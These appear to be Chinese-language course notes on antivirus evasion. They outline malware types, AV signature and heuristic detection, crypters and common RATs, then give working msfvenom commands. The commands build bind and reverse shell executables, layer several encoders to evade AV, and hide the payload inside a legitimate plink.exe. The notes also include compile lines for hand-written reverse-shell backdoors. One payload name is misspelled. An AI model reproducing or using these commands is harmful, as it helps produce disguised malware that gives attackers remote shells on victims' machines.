免杀

恶意软件

  • 病毒、木马、蠕虫、键盘记录、僵尸程序、流氓软件、勒索软件、广告程序
  • 在用户非自愿的情况下执行安装
  • 出于某种恶意目的:控制、窃取、勒索、偷窥、推送、攻击。
主要防护手段
  • 杀毒软件/防病毒软件/
  • 客户端/服务器/邮件防病毒
检测原理
  • 基于二进制文件中特征签名的黑名单检测
  • 基于行为的分析方法(启发式)
事后手段
  • 永远落后于病毒发展

免杀技术

  • 修改二进制文件中的特征字符
    • 替换、擦除、修改
  • 加密技术(crypter)
    • 通过加密使得特征字符不可读,从而逃避AV检测
    • 运行时分片分段的解密执行,注入进程或AV不检查的无害文件中
  • 防病毒软件的检测
    • 恶意程序本身的特征字符
    • 加密器crypter的特征字符
现状
  • 恶意软件制造者:

    • 编写私有RAT软件,避免普遍被AV所知的特征字符
    • 使用独有crypter软件加密恶意程序
    • 处事低调,尽量避免被发现
    • 没有能力自己编写恶意代码的黑客,通过直接修改特征码的方式免杀
    • Fully UnDetectable是最高追求(FUD)
  • AV厂商

    • 广泛采集样本,尽快发现新出现的程序,更新病毒库
    • 一般新的恶意软件安全UD窗口期是一周左右
    • 与恶意软件制造者永无休止的拉锯战
    • 新的启发式检测技术尚有待完善(误杀、漏杀)
  • 单一AV厂商的病毒库很难达到100%覆盖

  • 其它多引擎查毒站

  • 常用RAT软件

    • 灰鸽子、波尔、黑暗彗星、潘多拉、NanoCore

反弹shell

  • msfvenom

    • 生成木马
    • 对木马进行编码、混淆
  • 生成反弹shell

    • -msfvenom -p windows/shell/bind_tcp lhost=1.1.1.1 lport=4444 -a x86 --platform win -f exe -o a.exe
  • 生成加密编码反弹shell

    • msfvenom -p windows/shell/bind_tcp lhost=1.1.1.1 lport=4444 -f raw -e x86/shikata_ga_nai -i 5|msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw|msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -b '\x00' -f exe -o a.exe
  • 利用模板隐藏shell

    • msfvenom -p windows/shell_revirse_tcp -x /usr/share/windows-binaries/plink.exe lhost=1.1.1.1 lport=4444 -a x86 --platform win -f exe -o a.exe

软件保护

  • 软件开发商为保护版权,采用的混淆和加密技术、避免盗版逆向
  • 常被恶意软件用于免杀目的
Hyperion(32bit PE程序加密器)
  • Cryter(加密)/Container(解密器+PE Loader)

自己编写后门

编译:

  • Windows reverse shell
    • wine gcc.exe windows.c -o windows.exe -lws2_32
  • Linux shell
    • gcc linux_revers_shell.c -o linux